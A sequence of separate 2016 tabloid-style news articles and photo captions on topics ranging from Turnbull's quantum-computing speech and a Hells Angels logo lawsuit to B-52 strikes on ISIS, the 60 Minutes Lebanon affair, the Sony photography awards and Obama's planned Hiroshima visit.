A girl stands in the Huayna Potosi mountain refuge in Bolivia, where the women carry out their climbing expeditions, earlier this month

Aymara indigenous woman Rufina Llusco sits in her tent before ascending the Illimani mountain, on the outskirts of La Paz, Bolivia

Aymara indigenous women climb the snow-covered Illimani mountain, which is situated on the outskirts of La Paz, western Bolivia
Prime Minister Malcolm Turnbull has taken a leaf out of his Canadian counterpart's book by explaining quantum computing to a Sydney university full of top scientists.

Opening a new quantum computing lab complex at the University of New South Wales (UNSW), Mr Turnbull warmed up the 100-strong crowd of academics with a rundown on digital processing.

Last week Canadian PM Justin Trudeau stunned a room full of reporters and physicists by explaining quantum computing to them after a joke question from a journalist.

Prime Minister Malcolm Turnbull

'Conventional computing, which as you know we call digital processing, which depends on transistors with a series of on and off switches, ones and zeros, if you like, that's the digital world,' Mr Turnbull said at UNSW on Friday morning.

'(It's) extraordinarily fast, but we are reaching a finite limit.'

Mr Turnbull then unleashed on the power of quantum computing, saying UNSW was positioned firmly at the fore.

'Quantum computing has the ability to revolutionise this (computing),' he said.

'(Using) a silicon environment to render the phosphorous atom which is the qubit, which is the particle being manipulated in a way that can operate in more than one state at once.

'This super-positioning of the qubit enables vastly more rapid processing than we've had before. But of course, this is a very dynamic environment, it isn't a series of on-off switches.

Mr Turnbull is pictured here with Senator Bridget McKenzie, at the official opening of the Quantum Computation and Communication Technology lab at the University of New South Wales

'How do you render it stable, how do you control it, how do you stimulate it to do what you want, and how do you ensure that it remembers what it's done for a long enough period to be practically useful?'

Mr Turnbull said UNSW was leading the global pack in the research area.

'We looked at the memory time earlier that's been achieved here, a million times more than has been achieved in other labs around the world,' he said.

'The use of silicon so stable to provide that environment, plus the super-cold environment, enables a quantum computer to be built here that will become more than a theory, will be become a reality, a truly supercomputer.

'The quantum computer, a processing power hitherto unimaginable, and certainly not realised.'

He said the university, in Sydney's east, was up to 10 years ahead of any other in the world.

Last week Canadian PM Justin Trudeau stunned a room full of reporters and physicists by explaining quantum computing to them after a joke question from a journalist

'There has never been a more exciting time to be in quantum computing than right here,' Mr Turnbull quipped, to raucous laughter.

The new labs house six ultrahigh-tech 'scanning and tunnelling' microscopes, which are used to manipulate individual atoms, along with cryogenic dilution fridges capable of reaching temperatures close to absolute zero.

The facilities will double UNSW's capacity in the field, as it fends off global competitors in the race to build the first quantum computer in silicon.

The prime minister said the cutting-edge technology fed into his government's declaration of war on cyber crimes, which he announced on Thursday.
The Hells Angels is suing a Melbourne company claiming it used its infamous logo on T-shirts sold online without permission.

A chapter of the outlaw motorcycle group based in Brown Plains, Queensland, and its president Mark Nelms appeared in the Federal Court in Brisbane on Friday, according to the Courier Mail.

The group told the court it was 'distressed' its logo had been used on T-shirts printed by Redbubble.

The Hells Angels is suing a Melbourne company claiming it used its infamous logo on T-shirts sold online without permission (stock image)

A chapter of the outlaw motorcycle group based in Brown Plains, Queensland, and its president Mark Nelms appeared in the Federal Court in Brisbane on Friday (stock image)

The lawsuit is based on the use of the Hells Angels 'death head' logo.

Lawyers for Redbubble asked the court to force the bikie chapter to pay 'security' to finance the suit, as it fears the outlaw group is broke and unable to cover costs that come from it.

'There is no evidence as to the asset base of the membership of the (Hells Angels) club...(yet) they are a beneficiary in the action (and) there's no evidence as to the asset position of the US entity,' Redbubble's lawyer said, according to the newspaper.

The case continues.

The Queensland Government declared the Hells Angels a criminal group in 2013.

The lawsuit in Queensland's Federal Court is based on the use of the Hells Angels 'death head' logo
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Up to 100,000 Buddhist monks today gathered at a Thai temple to join a ceremony organisers said was the world's largest of its kind.

The Wat Phra Dhammakaya temple, 30 miles north of Bangkok, is famed for its enormous golden stupa, which resembles a UFO.

Today, up to 100,000 monks clad in orange robes chanted as devotees, dressed in white to symbolise the purity of the Buddha, flocked to the temple to give alms.

The Wat Phra Dhammakaya temple, 30 miles north of Bangkok, is famed for its enormous golden stupa, which resembles an unidentified flying object

Monks, clad in orange robes, chanted as devotees wearing white to symbolise the purity of the Buddha flocked to give alms

The temple is run by the controversial Dhammakaya sect, which has been dogged by allegations of corruption. The sect has a reputation for encouraging materialism and showiness, and is unpopular with many mainstream Buddhists

One devotee, Patsara Limkangwanmongkol, 47, said she had made similar offerings at the temple for a decade.

'Giving alms to 100,000 monks is a once-in-a-lifetime event. It is a must,' she said.

Organisers said that as many as 100,000 monks and novices took part in the event, calling it the largest of its kind.

One devotee, Patsara Limkangwanmongkol, 47, said she had made similar offerings at the temple for a decade. She said: 'Giving alms to 100,000 monks is a once-in-a-lifetime event. It is a must'

Organisers said that as many as 100,000 monks and novices took part in the event, calling it the largest of its kind

Issue: The battle for the post of supreme patriarch, Thai Buddhism's top post, has divided the country between the leading candidate, who has ties to the Dhammakaya temple, and those who oppose him

The temple is run by the controversial Dhammakaya sect, which has been dogged by allegations of corruption.

The sect has a reputation for encouraging materialism and showiness, and is unpopular with many mainstream Buddhists.

Religion in predominantly Buddhist Thailand is fast becoming a proxy war for the country's divisive, color-coded politics and the temple is one of several issues tearing at Thai Buddhism.

The monastery's abbot has been summoned on Monday by justice ministry officials dealing with cases that could affect national security to face charges of money-laundering and receiving illegal donations, among others

Buddhist novice poses for a picture while monks gather to receive alms at Wat Phra Dhammakaya temple, in what organizers said was a meeting of over 100,000 monks

A Buddhist monk sleeps on a chair while monks and novices gather to receive alms

Another issue is a battle for the post of supreme patriarch, Thai Buddhism's top post, which has divided the country between the leading candidate, who has ties to the Dhammakaya temple, and those who oppose him.

The monastery's abbot has been summoned on Monday by justice ministry officials dealing with cases that could affect national security to face charges of money-laundering and receiving illegal donations, among others.

The abbott, Phra Dhammachayo, has said he received charitable donations but did not know where they came from.
A business owner has posted CCTV footage capturing a shoplifter shamelessly stealing a handbag and hiding it in a pram.

NewsXpress Palmerston owner Jason Barling is fed up with the petty thievery that happens in his store and posted the video as a last resort.

The woman in the footage can be seen taking the bag valued at $220 and hiding it in a pram under a blanket.

She had allegedly targeted other stores in the Palmerston Shopping Centre during a suspected crime spree.

The CCTV footage shows the woman, wearing a white shirt walk over to where the pram is waiting

The woman can be seen picking up the handbag, valued at $220. NewsXpress Palmerston owner Jason Barling says he has lost around $6000 in stock this year because of thieves

Mr Barling was shocked when he saw the footage. He says crime has gotten worse since he took over the Darwin based business three years ago

Mr Barling, who has lost $6000 worth of stolen stock already this year, told NT News that this theft was the last straw: 'It was just "oh my god it's happened again". And then within another 20 minutes we got hit again by some juveniles,' he said. 'It's heart breaking. You work so hard and it's constantly at you the whole time eating away at you.'

Mr Barling said crime has gradually become worse in the three years since he took over the Darwin based business.

'I can tell you, from a retail perspective, I asked myself sometimes "why do we bother?". We've moved up from Tasmania to give it a go up here and you're just up against it the whole time,' he said.

Mr Barling adds that the Palmerston Shopping Centre is doing what it can to combat the thieves, with security and a strong police presence, but he says the constant thefts and the lose of income are making him doubt the long term viability of his business.

The woman in the CCTV footage also allegedly stole shoes from Intersport store just minutes before targeting Mr Barlings newsagency.

Northern Territory Police are investigating the theft and are searching for the woman in the security footage but told Daily Mail Australia there had been no updates.

Another woman can be seen laughing with the shoplifter in the CCTV footage, it is unknown whether she was an accomplice or an amused bystander
The Pentagon released video footage Thursday of what it says is the first strike carried out by a B-52 bomber in Iraq, as a U.S.-led coalition continued to ramp up its efforts in the fight against ISIS with pledges of additional American ground troops and helicopters.

The airstrike was carried out Monday and destroyed an ISIS weapons storage facility near the town Qayyarah, U.S. military officials said.

The footage shows two sequences of airstrikes against a cluster of buildings.

Footage released by the Pentagon shows the first time a B-52 bomber dropped bombs in the fight against ISIS

The strike was carried out on Monday against an ISIS weapons storage facility near the town Qayyarah

The B-52s were deployed to conduct the 'same type of precision strikes that we've seen for the last 20 months here in this theater,' an official said

The B-52 Stratofortress, pictured arriving in Qatar on April 9, can carry both nuclear and conventional bombs

A U.S. airman marshals an Air Force B-52 Stratofortress aircraft at Al Udeid Air Base, Qatar

Air Force Tech. Sgt. Walter inspects a B-52 Stratofortress aircraft before it's deployed in the fight against ISIS

A B-52 Stratofortress aircraft, which was widely used during the Vietnam and first Gulf wars prepares to land at Al Udeid Air Base, Qatar on April 9

The B-52 aircraft replaced B-1B Lancers as the primary heavy bombers used by the U.S. in Iraq and Syria

A group of B-52H Stratofortress aircraft arrived at Al Udeid Air Base in Qatar earlier this month.

The aircraft replaced B-1B Lancers as the primary heavy bombers used by the U.S. in Iraq and Syria.

The iconic aircraft, whose hulking build has earned it the nickname Big Ugly Fat F****r, has been in the U.S. Air Force's service since 1955. Estimates by Air Force engineers predict the aircraft will remain in service beyond the year 2040.

ANOTHER ROUND IN THE MIDDLE EAST FOR ICONIC BOMBER B-52 Wingspan: 185 feet Length: 159 feet, 4 inches Height: 40 feet, 8 inches Weight: Approximately 185,000 pounds Maximum takeoff weight: 488,000 pounds Speed: 650 miles per hour (Mach 0.84) Range: 8,800 miles Armament: approximately 70,000 pounds mixed ordnance: bombs, mines and missiles. (Modified to carry air-launched cruise missiles) Crew: five (aircraft commander, pilot, radar navigator, navigator and electronic warfare officer) Unit cost: $84 million Source: U.S. Air Force File photo showing a B-52 bomber in flight during an airshow in the United Kingdom Advertisement

The bomber was widely used during the Vietnam and first Gulf wars. In the latter conflict, it was used to drop 40 percent of coalition bombs.

The B-52 is capable of flying at high subsonic speeds at altitudes up to 50,000 feet, and can carry both nuclear and conventional bombs, according to the Air Force.

Speaking to reporters in Washington D.C. on Wednesday, the spokesperson for the U.S. military operation against ISIS, Army Col. Steve Warren, said the B-52s were deployed to conduct the 'same type of precision strikes that we've seen for the last 20 months here in this theater.'

On Monday, defense officials pledged to deploy more than 200 additional troops to Iraq and to send eight Apache helicopters for the first time into the fight against ISIS in Iraq.

It would be the first major increase in U.S. forces in nearly a year.

The uptick in American fighting forces  and the decision to put them closer to the front lines  is designed to help Iraqi forces as they move to retake the key northern city of Mosul.

Speaking to reporters Monday in Baghdad, Defense Secretary Ash Carter said the decision to move U.S. advisers to the Iraqi brigade and battalion level will put them 'closer to the action,' but he said they will have security forces with them and the U.S. will do what's needed to reduce the risks.

A senior U.S. official said there will be eight Apache helicopters authorized to help the Iraqi forces when Iraq leaders determine they need them. The official was not authorized to discuss the numbers publicly so spoke on condition of anonymity.

Defense Secretary Ash Carter, center, and his Iraqi counterpart Khaled al-Obeidi review an honor guard during a welcome ceremony at the Ministry of Defense in Baghdad on Monday

U.S. Defense Secretary Ash Carter, pictured left next to his Iraqi counterpart Khalid al-Obeidi, said an uptick in U.S. fighting forces will put them 'closer to the action' in Iraq

Last June the Obama administration announced that hundreds of troops would be deployed to help the Iraqis retake Ramadi  a goal they accomplished at the end of the year.

President Barack Obama on Monday emphasized the additional troops won't be doing the fighting, but the extra training and intelligence support they provide can 'continually tighten the noose.'

'As we see the Iraqis willing to fight and gaining ground, let's make sure we're providing them more support,' Obama said in an interview with CBS that aired Monday evening.

Obama also predicted success in Mosul: 'My expectation is that by the end of the year we will have created the conditions whereby Mosul will eventually fall.'

The decisions reflect weeks of discussions with commanders and Iraqi leaders, and a decision by Obama to increase the authorized troop level in Iraq by 217 forces  or from 3,870 to 4,087.

The advise-and-assist teams  made up of about a dozen troops each  would embed with Iraqi brigades and battalions, likely putting them closer to the front lines and at greater risk from mortars and rocket fire.

U.S. military and defense officials have made it clear that winning back Mosul is critical, but will be challenging, because the insurgents are dug in and have likely peppered the landscape with roadside bombs and other traps for any advancing military.
He was last seen by two friends who say he was acting 'erratically'

A 20-year-old Perth man on a three-month holiday in the US has been reported missing after he failed to return from an evening walk at a nature reserve.

Mohammad 'Naz' Rahimi was last seen by his friends, Aria Addams and Timothy Obialo, on the evening of March 31 in Atlanta, Georgia.

His friends say he was acting erratically and running through the nature reserve in distress prior to his disappearance just after 8.30pm.

Australian man Mohammad 'Naz' Rahimi, 20, was last seen by his friends, Aria Addams and Timothy Obialo, on the evening of March 31 in Atlanta, Georgia

His friends say he was acting erratically prior to his disappearance just after 8.30pm

The duo posted regular updates in the days after his disappearance calling for anyone who may have seen him to come forward.

They also contacted local authorities and reached out to Mr Rahimi's family in Australia when they were unable to find him.

The young man was due to head back to Western Australia on April 11.

The young man was due to head back to Western Australia on April 11 but is yet to be located.

When his family arrived in the US on April 10 to assist with the search, Mr Obialo made a further plead on Facebook.

Your father and brother are here. Please come home if you see this, we're all worried, Mr Obialo wrote.

Naz's family arrived in America to help search for him on April 10, according to a Facebook post by his friend

Ms Addams, who has been leading the search, said Mr Rahimi was searching for his wallet before he left home for the last time.

When he couldnt find it he left with a handful of other belongings.

He was also dressed in a grey hoodie, black running shorts and black Nike sneakers.

On April 1st around 2pm his abandoned belongings were located along the river bank, including his wet hoodie, iPhone, iPad, and personal journal, Ms Addams wrote on Facebook.

The young man left his wallet at home when he disappeared his housemate also says she found his iPhone, iPad, jumper and journal the day after he went missing

She became more concerned after finding his wallet in his belongings at home a week after he vanished.

He literally left everything behind. I'm not satisfied waiting around and just praying,' she said.

I'm convinced he's hurt and I wish police/people would take this amount of time into serious consideration and start searching the river bank running through Morningside Trail.

I'm pulling my hair out from so much frustration and worry.'

Mr Rahimi is described as 188cm tall and of a slim build, weighing about 72kg

Ms Addams and Mr Obialo have posted photos on social media of a man with similar proportions and a similar outfit to help 'recreate' the scene for anyone who may have seen something

Ms Addams and Mr Obialo have posted photos on social media of a man with similar proportions and a similar outfit to help 'recreate' the scene for anyone who may have seen something.

Both of Mr Rahimi's friends stopped posting about his disappearance on April 12.
Underworld figure Mick Gatto and his business partner John Khoury were reportedly approached by Channel Nine as part of a plan to broker a deal that would see Tara Brown and the 60 Minutes crew freed from prison.

The Sydney Morning Herald reports that the news network was also negotiating with former NSW politician Eddie Obeid who, like Mr Khoury, is of Lebanese heritage, in a bid to get them out of jail.

Reportedly a senior figure at the TV network contacted Mr Gatto and Mr Khoury last week after an agreement between Ali Elamine and his estranged wife Sally Faulkner and the network to drop kidnapping charges had come to nothing.

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Underworld figure Mick Gatto reportedly approached by Channel Nine as part of a plan to broker a deal that would see Tara Brown and the 60 Minutes crew freed from prison

Fairfax media sources say Channel Nine was hoping that thanks to Mr Khoury's contacts in the country some arrangement could be made where the group could be released ahead of a criminal trial which could take months.

The whole scenario is now the subject of an 'internal review', with Prime Minister Malcolm Turnbull saying on Friday a corporate watchdog may investigate Channel Nine's involvement in the release of 60 Minutes crew from a Lebanese prison.

Mr Turnbull told Sydney's 2SM radio the botched child abduction in Beirut appeared to be 'most unwise' after it emerged the television network reportedly paid US$500,000 for the freedom of its crew, which included veteran journalist Tara Brown.

When asked about the Australian Securities and Investments Commission being brought in to investigate the payout, Mr Turnbull said: 'I've got no doubt it will be of interest to various regulatory agencies.'

Channel Nine had hoped that Gatto's contacts in the Lebanon could get the group released

Prime Minister Malcolm Turnbull (pictured) says a corporate watchdog may investigate Channel Nine's involvement in the release of 60 Minutes crew from a Lebanese prison

Mr Turnbull (left) was on 2SM radio on Friday with veteran broadcaster John Laws (right)

Brown and her crew, along with Brisbane mother Sally Faulkner, were held in a Beirut jail after they were involved in a botched abduction to get her children back from their father, Ali Elamine.

Channel Nine paid Mr Elamine US$500,000 in an official settlement after he rejected an earlier offer of $350,000, News Corp reported.

But the father has previously denied he had received payment.

Mr Turnbull also said Australians should be prepared to face the consequences if they go overseas and break the law.

'It doesn't matter who you are or who you work for, when you are overseas - if you're an Australian - you must obey the laws of the country in which you were visiting,' he said.

Mr Turnbull said the botched child abduction appeared to be 'most unwise' as speculation mounts over whether Channel Nine had paid for the crew's freedom. Above are Tara Brown and Stephen Rice arriving home

'Nobody is above the law and if the break law in other parts of the world, you may well be breaking Australian law as well.

'From what I have read about it, [the 60 Minutes incident] appears to have been most unwise.'

The Prime Minister's comments come after Brown, producer Stephen Rice, cameraman Ben Williamson and sound recordist David Ballment touched down in Sydney airport on Thursday night.

When asked how it felt to be back on home soil, the smiling journalist said 'very good' before being whisked to a black van with the rest of the crew so they could be taken back to their families and friends.

The team walked free from a Lebanese prison on Wednesday, along with Brisbane mother Sally Faulkner, after Mr Elamine, agreed to drop kidnapping charges.

The Prime Minister's comments come after Brown, Rice, cameraman Ben Williamson and sound recordist David Ballment touched down in Sydney airport on Thursday night

They had spent two weeks behind bars over the plot to snatch Ms Faulkner's two children from her ex-husband's family on a street in Beirut.

The 60 Minutes crew sparked outrage on social media after posting a picture of them celebrating their release with drinks in an airport lounge before flying back business class to Australia via Dubai.

They went straight to Beirut airport after an investigative judge dropped charges against them over their botched child recovery mission.

But they were warned that they might be ordered back to Lebanon if prosecutors decide to proceed with criminal charges.

Ms Faulkner has remained behind in Lebanon so she could spend time with her children before flying home to Brisbane.
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From acid attack victims bravely bearing their scars and refugees desperately fleeing their war-torn homeland to 'astronauts' jokingly taking selfies and Brits enjoying sunshine abroad, these are the captivating images revealed at the Sony Photographer of the Year awards.

The overall winners of the world's largest photography competition have been unveiled by the World Photography Organisation and an exhibition of all the winning and shortlisted work will now run at Somerset House in London until May 8.

Following a record-breaking 230,103 submissions to its ninth edition, the awards' Honorary Judging Committee selected Iranian photojournalist Asghar Khamseh as the recipient of its most coveted prize, the L'Iris d'Or Photographer of the Year.

The winning work, 'Fire of Hatred', is a powerful portrait series tackling the social issues around the violent act of acid throwing.

Dominique Green, who sat on the judging panel, said of the work: 'Portraits of disfigurement resulting from social violence are undoubtedly a hard-hitting subject, and one which the longstanding tradition of documentary photography does not shy away from.

'The power of Asghar Khamseh's imposing series is such that he enables the viewer to face head-on intimate images, which could be testing to examine closely, with empathy and respect which in turn allows the viewer to become a witness and not just a spectator.'

At an awards ceremony in London last night, the organisation also announced Kei Nomiyama, from Japan, as the Open Photographer of the Year with his enchanting image of fireflies sparkling in a bamboo forest under the moonlight.

The overall winners of the world's largest photography competition - the Sony Photographer of the Year awards - have been unveiled and include this clever artwork from Julien Mauve, who tried to create the idea of 'astronauts' jokingly taking selfies on Planet Mars

The Frenchman's space exploration project saw him capture a number of stunning images showing 'astronauts' in dry, dusty landscapes

Following a record-breaking 230,103 submissions to its ninth edition, the awards' Honorary Judging Committee selected photojournalist Asghar Khamseh, from Iran, as the recipient of its most coveted prize, the L'Iris d'Or Photographer of the Year

Mr Khamseh's work, 'Fire of Hatred', is a powerful portrait series tackling acid throwing and showed victims bearing their scars

Fireflies: Kei Nomiyama of Japan won Open Photographer of the Year at the 2016 Sony World Photography Awards

This moving image by Kevin Frayer was part of his project on the coal industry in China and won first prize in the Daily Life category

The history of heavy dependence on burning coal for energy has made China the source of nearly a third of the world's CO2 emissions

Ruben Salgado Escudero, from Spain, scooped first place in the Portraiture category at the 2016 Sony World Photography Awards

Mr Escudero's images included this portrait of a cock fighting owner holding his prized possession in Bali, Indonesia

'In search of the European dream': This dramatic photograph of an Afghan refugee carrying his child to safety after they arrived on a beach on the Greek island of Kos, after crossing a part of the Aegean Sea between Turkey and Greece, landed Angelos Tzortzinis a Sony award

Doctors and paramedics try to revive a baby after boat with refugees and migrants sunk while attempting to reach Lesbos in October 2015

This thought-provoking image by Antoine Repesse features within a series about the amount of waste thrown away in France

Over a four-year period, the French photographer stopped throwing away his recycled waste and instead collected it to photograph

Daquan Green, 17, sits on the curb while riot police stand guard near the CVS pharmacy that was set on fire during rioting after the funeral of Freddie Gray, on April 28, 2015 in Baltimore, Maryland. The image, by Andrew Burton, from the US, featured in the current affairs category

A woman taunts police officers while a helicopter with a spot light watches over a scene of protesters and police in Baltimore

This photograph capturing the look of sheer joy on a child's face before he leaps on to his sleeping grandfather has been named the winner of one of the world's most prestigious open photo competitions. Named Wake Up Call, it was taken by Scotsman Alex Ingle

A woman tending to her lantern store in Vietnam won the arts and culture group. The photo was taken by Swee Choo Oh, from Malaysia

Chaiyot Chanyam, from Thailand, won the open split second category with this photograph of two birds being caught by crashing waves

'The Pools' series, by photographer Stephan Zirwes, is a study of water - one of the most precious resources for life on our planet

The artistic approach is to show that public pools can still be a symbol for the importance that water should be free accessible to everyone

Sam Delaware, from Maine, U.S., won the youth portraiture category for this simple portrait of his younger sister Sarah, taken last December

The winning photograph in the open architecture category was this picture by Filip Wolak, from Poland, showing a snowy central park

'Land of Nothingness': Maroesjka Lavigne, from Belgium, won the landscape category with this stunning photo of Namibia's landscape

The photographer says 'the animals look up curiously, but soon forget about you and slowly continue their journey, unhurried by your presence, at their own pace'

Planned Obsolescence by Pedro Diaz Molins, from Spain, won the enhanced category at the prestigious photography competition

Maoyuan Cui produced this moody shot of an ancient castle situated within Yuxian County village in the Hebei province of China

Another stunning landscape of Yuxian County village of Hebei province in China taken by the same photographer

The Eagle Hunting festival is organised by the local hunting community and photographed by Kevin Frayer in western China

The festival is part of an effort to promote and grow traditional hunting practices for new generations in the region of western China that borders Kazakhstan, Russia and Mongolia

Andrej Tarfila, from Slovenia, won the travel category with this serenic photograph showing a church amidst acres of frosty fields

The winner of the panorama category was Markus Van Hauten, from Germany, for this stunning photo of the Gooafoss waterfalls in Iceland

Big cats trainer and presenter Alexander Lacey brushes the mane of lion Masai before a performance in the United States

Ringling Bros and Barnum & Bailey Circus started in 1919 when two circuses merged - and it now has two circus train-based shows

Stefan Schlumpf of Switzerland photographed this Hidden Landscape series to look at the effects of global warming

Mr Schlumpf says glaciers are taking 'flight, fleeing from human ignorance - but there are also people who want to persuade them to stay'

The series 'Jenny's Soul' by Sandra Hoyn of Germany shows the relationship between a man and his silicone doll

Dirk (name changed) has been living together with his silicone doll Jenny for four years now after buying her for 6,000 Euros

Selfie stick: Kristoffer Eliassen of Norway has tried to explore how self portraiture for many people has become an obsession

Mr Eliassen looked at how selfies can develop absurd situations, with his photograph project being a play around such situations

Oliver Schwarzwald of Germany took this photograph for a jewellery editorial in Stern magazine

Another one of Mr Schwarzwald's photographs for the German weekly magazine Stern, which is published in Hamburg

Nikolai Linares took these portraits of the silver medal winners just after losing their final at a boxing championships held in Copenhagen

Chinese men enjoy a hot drink at an old Chinese tea house in Pencheng District, Chengdu, which was founded around 150 years ago

Nick Ng of Malaysia took a portfolio reflecting the ancient tradition of Chinese teahouses, much like the modern cafes in our cities now

Marcello Bonfanti photographs mother Monjama Moussa (left), and Fatmata Kamara (right), both 25, with her son Koday, one, who all contracted ebola in Sierra Leone

A worker walks through farm fields in Los Banos, California, in May 2015 as water regulators adopted the state's first rules for mandatory cutbacks in urban water use as the region's catastrophic drought enters a fourth year. This Reuters photo was taken by Lucy Nicholson

People play golf on a course in La Quinta, California, in another photograph by Lucy Nicholson illustrating the state's drought issues

A photo by Li Feng at Hubei Tian Qin, an industrial company of animals which tame and reproduce experimental macaques in China

No one can enter the breeding area at Hubei Tian Qin except the breeder and the experimental staff, according to the photographer

Hiroshi Watanabe of Japan crated this bizarre photo of 'the superb view of the world made of meat'

This meat mountain was one of the unusual photographs in a collection by Mr Watanabe

The 'Waiting for the Candymen' series by Kirstin Schmitt of Germany is said to be a 'study of Cuban idiosyncrasy; an allegory of waiting'

Ms Schmitt says her project involves 'waiting the right moment, waiting for tomorrow, waiting for something or someone who brings redemption'

Tibetan nomads face many challenges to their traditional way of life in Yushu, China, including political pressures and forced resettlement

Tibetan nomads put up a string of Buddhist prayer flags near a government resettlement community in this photo by Kevin Frayer

TransBrasil by Jetmir Idrizi is an ongoing project, which aims to look at gender identities from a documentary photography perspective

TransBrasil is meant to understand the concept of transexuality 'as a border with an identity traffic which enable plurality and freedom to choose who each person wants to be, creating a gender hybridity'

Jens Juul of Denmark took a series of photographs at a gym in Copenhagen where elite sportswomen train gymnastics 20 hours a week

The photographer has explained how the gymnasts have to put in at least 10.000 hours of training to compete internationally

Hui Zhang aims to draws attention to the culture conflict of contemporary and ancient Chinese works of art

These statues dating back to the 5th century still exist in central China around its ancient capital Xi'an

At the Safari Club International Convention in Reno, Nevada, a taxidermist displays his work from a client's previous trip to Africa

Photographer David Chancellor from Britain said there are now more captive lions in South Africa than wild ones - 8,000 compared to 2,000

A project by Cristina Vatielli of Italy consists of seven photos, each representing a woman who influenced the work of Pablo Picasso (above, Dora Maar)

Another photograph by Ms Vatielli is a representation of Francoise Gilot, who was a French painter and best-selling author

Francesco Amorosino tells how Italian families make tomato sauce at home - cooking and canning a huge amount of vegetables

Filippo Venturi's project looks at how South Korea's rush towards modernity 'has been fostered by imposing a huge sense of competition and a painstaking effort to reach scolastic, aesthetic and professional perfection'

Mr Venturi says the aesthetic models in South Korea 'are totally conformed, obtained through a massive use of plastic surgery'

Espen Rasmussen says how drugs, alcohol and violence have become common in West Virginia towns such as Beckley and Mullens

Mr Rasmussen's photographs aim to tell how coal has became a curse for many of cities in West Virginia, following the industry's decline

Fauzan Ijazah took these photographs of Zainu Bibi (left), 16, and Asiah Khatu (right), 22, Rohingya refugees from Myanmar, at a temporary shelter in Bayeun, East Aceh, Indonesia

Alberto Alicata aims to use of a symbol of contemporary Western culture, Barbie, to recreate carefully chosen photographs

Mr Alicata's project is a set to 'measure Barbie rebuilt in detail the limits of the obsessive precision, the original that inspired it'

Hundreds of thousands have left their homes in Kobane because of the war to escape to Turkey and they have settled in refugee camps

Photographer Barbaros Kayan has replaced the body forms of refugees with the city landscapes which they will return to

Annick Donkers photographed a hardcore wrestling match which is currently forbidden in Mexico City because of numerous accidents

The wrestling is still allowed outside Mexico City, with - in one instance - a carwash turned into an arena for old and young to watch

Andrea Rossato of Italy says looking at the different behavior of people on a pier 'is hilarious and often allows you to freeze the moments in memory'

The photographer says summer holidays by the sea bring a scene where 'parents make jokes to the children, often breaking social labels'

Photography duo Andrea and Magda Micelli documented the scenery of a sound and light show in Sharm el Sheikh, Egypt

A stray camel in Nuweiba, Sinai, that is among lots of animals, once used as tourist attractions in Egypt, but now abandoned

An 'empire of dust' has been emerged in south Italy where financial crises and embezzlement have led to incomplete architecture

Photographer Amelie Labourdette has looked at unfinished villas, ghost dams or skeleton buildings, reflecting a 'real estate disaster'

The Elefantentreffen - photographed by Alessandro D'Angelo of Italy - is a winter motorcycle rally in the deeper Bavarian Forest, where snow and sub-zero temperatures are common

Alejandro Beltran of Venezuela took a set of photographs entitled 'Beached humans on unknown shores'
Obama is expected to make a speech about nuclear abolition in Hiroshima

Kerry said everyone, including the president, should see the memorial

Secretary of State John Kerry became highest ranking US administration official to pay respects at peace memorial earlier this month

President Barack Obama will visit Hiroshima after a G7 summit in Japan next month, according to the country's Nikkei Business Daily.

Obama's visit will have an enormous symbolic importance after Secretary of State John Kerry became the highest-ranking US administration official to pay his respects at the city's peace memorial earlier this month.

It remains to be seen whether Obama, who won the Nobel Peace Prize in 2009 for his efforts towards nuclear disarmament, will issue an apology for the atomic bomb dropped on August 6, 1945.

John Kerry (third from left, with Japan's Foreign Minister Fumio Kishida) last week became the first US Secretary of State to visit Hiroshima, more than 70 years after the city was devastated by an atomic bomb

Washington will 'arrange with Japan his visit on May 27 when the G7 leaders' summit wraps up,' the newspaper said, citing several unnamed US government officials.

Obama is expected to make a speech about nuclear abolition during his visit, the Nikkei said, citing an unnamed high-ranking US government official.

Japanese Prime Minister Shinzo Abe is also expected to accompany Obama, who is considering offering a floral tribute at Hiroshima's Peace Memorial Park, according to the paper.

A US official told the Nikkei that Washington will formally notify Japan of the plans early next month.

Obama (file picture), who won the Nobel Peace Prize in 2009 for his call for a world without nuclear weapons will pay a historic visit to the city after the G7 summit next month in Kashiko Island, Japan

THE BOMBING OF HIROSHIMA Hiroshima became the first city in history to be targeted by a nuclear weapon when the U.S. Army dropped an atomic bomb on it on the morning of August 6, 1945. The bomb, containing a destructive power never before witnessed, directly killed an estimated 80,000 people, while some 160,000 - almost half the city's population - are thought to have died due to injury and radiation. Three days later a second atomic bomb was dropped on the city of Nagasaki, causing a similar number of deaths. The massive scale of destruction and killing led to Japan's surrender in WWII. The two bombings remain the only instances of nuclear weapons targeting cities during warfare. While some have called for the U.S. to apologize, many believe the bombings were justified and helped avoid thousands of deaths by speeding up the end of the war. Advertisement

When asked whether the US and Japan are working to arrange a visit to Hiroshima by Obama, Japan's Chief Cabinet Secretary Yoshihide Suga flatly denied it.

'It is not true,' Suga said.

But he added it is 'very important' for Japan that world leaders visit Hiroshima and understand the reality of the suffering caused by the atomic bombing.

Speculation of an Obama visit has intensified since Kerry and his G7 counterparts wrapped up two days of talks in Hiroshima.

Kerry, who was joined by other Group of Seven foreign ministers, was the highest-ranking US administration official to pay his respects at the spot where an American plane dropped the bomb in the world's first-ever nuclear attack.

The secretary of state laid a white flower wreath at the city's peace memorial during his visit earlier this month, but stopped short of issuing an apology.

Prior to Kerry's visit, a US official said: 'If you are asking whether the secretary of state came to Hiroshima to apologize, the answer is no.'

Kerry's historic visit earlier this month made him the the highest-ranking US administration official to pay his respects at the peace memorial. (pictured, Kerry and Kishida with a replicated letter between the two countries from 1861)

Instead, Kerry wrote in the museum's guest book: 'Everyone in the world should see and feel the power of this memorial.

'It is a stark, harsh, compelling reminder not only of our obligation to end the threat of nuclear weapons, but to rededicate all our effort to avoid war itself.'

'War must be the last resort  never the first choice,' he added. 'This memorial compels us all to redouble our efforts to change the world, to find peace and build the future so yearned for by citizens everywhere.'

Asked later if this meant Obama should come, Kerry said: 'Everyone means everyone. So I hope one day the president of the United States will be among the everyone who is able to come here. Whether or not he can come as president, I don't know.

Kerry fueled speculation surrounding Obama's visit when he said: 'I hope one day the president of the United States will be among the everyone who is able to come here' (pictured, Kerry, fourth from right on April 11)

Kerry's appearance completed an evolution for the United States, whose leaders avoided the city for many years because of political sensitivities.

No serving U.S. president has visited the site, and it took 65 years for a U.S. ambassador to attend Hiroshima's annual memorial service.

Many Americans believe the dropping of atomic bombs in Hiroshima and Nagasaki were justified and hastened the end of the war.

Japanese survivors' groups have campaigned for decades to bring leaders from the US and other nuclear powers to see Hiroshima's scars as part of a grassroots movement to abolish nuclear weapons.

As Kerry expressed interest, neither Japanese government officials nor survivor groups pressed for the US to say sorry.

